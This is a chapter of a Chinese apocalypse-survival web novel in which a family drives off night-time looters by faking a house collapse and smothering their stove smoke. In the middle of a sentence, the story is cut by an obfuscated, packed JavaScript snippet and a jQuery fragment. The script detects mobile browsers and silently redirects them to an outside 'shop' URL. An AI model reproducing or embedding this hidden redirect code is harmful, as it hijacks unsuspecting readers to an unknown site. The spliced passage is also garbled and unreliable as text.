16.院子外头有人
作品:《重生黑土岭,囤货种田抗末日》 夜晚再次降临,温度似乎又低了一点。炉火必须烧得更旺才能抵御寒意,煤的消耗速度让林雪梅心疼,但又无可奈何。
夜里,林雪梅进入空间。黑土地上的作物又成熟了一小批。她收了菜,重新种下。那几丛不知名的野菜长得格外茂盛,她小心地移栽了几棵到边缘。井水依旧清冽,她喝了一大口,感觉疲惫稍减。
她看着这片生机盎然的空间,再看看外面冰封的世界,一个大胆的念头越来越清晰:这个空间,是她最大的底牌。但如何利用好它,不仅仅是提供一点额外食物,更要把它变成在这个末世立足、甚至发展的核心优势。
第八天,就在对空投的期待、对未知脚印的警惕中度过了。
第九天,黎明前。
林雪梅被一阵极其轻微的窸窣声惊醒。
那声音,来自院墙之外。
像是……很多人踩在积雪上,刻意放轻的“嘎吱”声。由远及近。
她的心猛地提起来,手不自觉地摸向枕下的剪刀。
黑暗中,林雪梅睁大眼睛,屏住呼吸倾听。
外面的声音,停了。就在她家院墙外。
死一般的寂静持续了几秒。
然后,一个带着狠厉和贪婪的男声,飘了进来:
“……就这家……昨天看见……有烟……肯定还有东西……”
声音压得极低,混在风雪的呜咽里,几乎难以分辨。林雪梅全身的神经都绷紧了,每个字都像冰锥扎进耳朵。
肯定还有东西……这带着觊觎意味的话,瞬间驱散了林雪梅所有的侥幸。不是求助,是掠夺!
她悄无声息地起身,黑暗中是家人和借宿者模糊的轮廓,呼吸声很平稳。
她扫了眼窗户,厚重的冰霜和蒙着的塑料布挡住了视线,也隔绝了大部分声音,但外面的人既然靠近了院墙,必然有所图谋。
她轻推身边的王秀芬和李嫂,手指压在唇上做出噤声手势。王秀芬迷迷糊糊睁开眼,看到女儿在黑暗中晶亮的眼神和手势,立刻清醒,捂住嘴,又去推李嫂。李嫂也瞬间警觉,抱紧了怀里的妞妞。
林雪梅滑下炕,赤脚踩在冰冷的地面上,寒意直冲头顶,却让她更加清醒。
她走到里屋门口,掀开厚重的布帘缝隙。
外屋,林建国和韩师傅挤在一张床上,刘志远睡在临时地铺上,林小山在另一张木板床上。她需要叫醒男人们,但不能发出大的声响。
她捡起地上一个空的搪瓷缸子,敲了敲炕沿,这是之前约定好的警示信号。
林建国首先惊醒,毕竟是经历过动荡年代的人,警惕性高。他立刻坐起,看到女儿在门帘缝隙中打出的手势,脸色一变,当即推醒了旁边的韩师傅和刘志远,又去摇林小山。
很快,所有人都醒了,在黑暗中聚拢到里屋门口。林雪梅用手势和极低的气声,复述了刚才听到的话。
“有人……在外面墙边……说咱们家有烟……”她言简意赅。
所有人的脸色都变了。林建国抄起靠在墙边的铁锹,刘志远握紧了炉钩。王秀芬和李嫂把两个孩子搂在怀里,退到炕角。
屋里一片死寂,只剩下炉火偶尔的噼啪声和众人压抑的呼吸。所有的耳朵都竖起来,捕捉着墙外的动静。
外面也安静了片刻,似乎在观察。风雪声成了唯一的背景音。
然后,那个压低的声音又响起了,这次近了点,好像就在院门附近:“……看着点……里面没动静……是不是都冻死了?”
另一个更沙哑的声音回应:“管他呢……撬开门看看……有吃的拿吃的,有煤拿煤……这鬼天气,再没东西老子真要冻死了!”
“小声点!惊动了人……”
“怕个鸟!这院里还有几个活的?你看那些烟囱……”
对话断断续续,夹杂着金属的碰撞声。
是工具!他们在撬门!
林建国额头青筋暴起,握着铁锹的手骨节发白。
林雪梅大脑飞速运转。外面至少有两个人,可能更多。他们目标明确,就是来抢物资的。
硬拼?对方有备而来,人数不明,手里可能有家伙,自家这边老弱妇孺占了一半,韩师傅还是伤员,胜算不大,而且一旦冲突,伤亡难以预料。
智取?怎么取?示弱?假装无人?或者……
她目光扫过屋里。炉火……烟囱……他们是因为看到烟才来的!
一个念头闪过。她迅速对刘志远做了几个手势,指向炉子和烟囱口的方向,又指了指水缸。刘志远愣了下,随即明白了,用力点头。
林雪梅又对林建国和林小山比划,示意他们准备好“家伙”,但先别动,听她信号。
然后,她深吸一口气,猛地拔高声音,用一种刻意营造的、带着惊恐和虚弱的哭腔朝门外喊道:
“谁……谁在外面?!救命啊!我家房子要塌了!救命啊!”
这突如其来的喊声,不仅让屋里其他人吓一跳,墙外也瞬间安静了。
林雪梅继续用那种惊慌失措的语调喊:“爸!妈!房梁响了!裂缝更大了!呜呜……煤!煤都压在下面了!救命啊!谁来帮帮我们!”
她一边喊,一边对刘志远猛打手势。
刘志远立刻行动起来,他快速从炉子里抽出几根还在燃烧的柴火,用铁钳夹着,塞进了旁边早就准备好的一桶水中。
不是全部浸没,而是让燃烧的部分接触到水。
“嗤——”
伴随着大量浓烟和蒸汽猛地冒出!刘志远迅速将冒着浓烟的水提到外屋烟囱下方的开口附近,掀开盖子,将浓烟蒸汽一股脑地倒灌进去!
与此同时,林雪梅继续她的表演,声音带上了绝望:“煤啊!我们的煤啊!全埋了!没煤了可怎么活啊!房子也要塌了!老天爷啊!”
屋外,正准备撬门的两个人显然被这突如其来的变故搞懵了。女人的哭喊声,房子里传来奇怪的嗤啦声和烟雾,还有那凄惨的呼喊……
“妈的……怎么回事?”那个沙哑的声音惊疑不定。
“听着像是真出事了……房子要塌?”压低的声音也有些犹豫。
“呸!晦气!煤被埋了?那还有个屁用!这破房子塌了砸死人才好!”沙哑声音骂骂咧咧,“算了,去下一家!这家看着也不像有油水,烟都没了!”
果然,从他们的角度,原本应该冒烟的烟囱,因为刘志远那一桶“加料”,此刻正冒出大量不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17080100|194761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正常的浓烟和蒸汽,随后迅速减弱,看起来就像是炉火突然被淹灭,或者燃料被掩埋导致熄灭。
撬门的声音停了。脚步声迟疑地响起,渐渐远去,消失在风雪中。
屋里,所有人都保持着绝对的安静,竖起耳朵听着。直到外面的脚步声彻底消失,又过了好几分钟,确认没有返回的迹象,众人才不约而同地松了口气。
林雪梅后背已经被冷汗浸湿,冷冰冰地贴在身上。刚才那番表演,耗费了她巨大心力。
“走了?”王秀芬声音发颤。
“应该走了。”林建国放下铁锹,抹了把额头冷汗,看向女儿和刘志远,“梅子,小刘,你们……真是……”
他不知该说什么好。
急智,默契,还有那份在危急关头保持冷静、制定对策的能力,让他这个当父亲的都感到震撼。
刘志远心有余悸,扶了扶歪掉的眼镜,苦笑道:“多亏雪梅同志反应快。他们是冲着烟和可能有的物资来的。我们制造混乱和假象,让他们以为这里不仅没油水,还有危险,算是暂时吓退了。”
“姐!你刚才演得太像了!”林小山又兴奋又后怕,“我差点都信了!”
韩师傅坐在板凳上,喘着气,看向林雪梅的眼神充满了敬佩。这个救了他的姑娘,不仅有善心,更有在这种绝境下生存所必需的智慧。
“只是暂时。”林雪梅的声音恢复了平静,甚至有些冷,“他们不会只来一次。今天被吓走,可能去祸害别家,但如果别家也没捞到好处,或者发现我们家其实没事……”
她没说完,但意思大家都懂。贪婪不会轻易消失,只会因为暂时的挫折而蛰伏,等待下次机会,或者变得更狡猾。
“那怎么办?”李嫂紧紧抱着妞妞,脸色苍白。
“加强防备。”林雪梅斩钉截铁,“从今天起,晚上必须有人轮流守夜。两人一组,每组两小时。爸和刘技术员一组,我和小山一组。韩师傅身体没好,妈和李婶照顾孩子和后勤,不参与守夜,但也要警醒。”
这是当前最务实的办法。人力有限,必须合理分配。
“另外,”林雪梅走到窗边,透过冰霜的缝隙看向外面模糊的院子,“院门不够结实。明天天亮,要想办法加固。还有,我们得在院子里设置一些‘障碍’或者‘预警’装置,比如用细绳拴上空罐头瓶,或者埋一些能发出声响的东西。”
“这个我可以试试。”刘志远立刻说,“用简单的力学原理,做几个绊发响铃。材料……铁丝、木片、还有那些空瓶子就行。”
“好。”林雪梅点头,“明天就弄。还有,家里的‘贵重’物资,尤其是粮食和山货,不能全放在地窖了。要分开放,一些放在地窖,一些藏在屋里更隐蔽的地方,比如炕洞深处,或者墙壁夹层。爸,咱们家墙壁有夹层吗?”
林建国想了想:“老房子,土坯墙,有的地方有空心。可以掏一掏,但要小心别弄塌了。”
“小心点弄。鸡蛋不能放在一个篮子里。”林雪梅沉声道。经历过刚才的惊险,她对物资安全的重视提升到了最高级别。
这一番折腾,天边已经泛起了鱼肚白。第九天,在这样一个充满惊险和警示的黎明中,正式开始了。

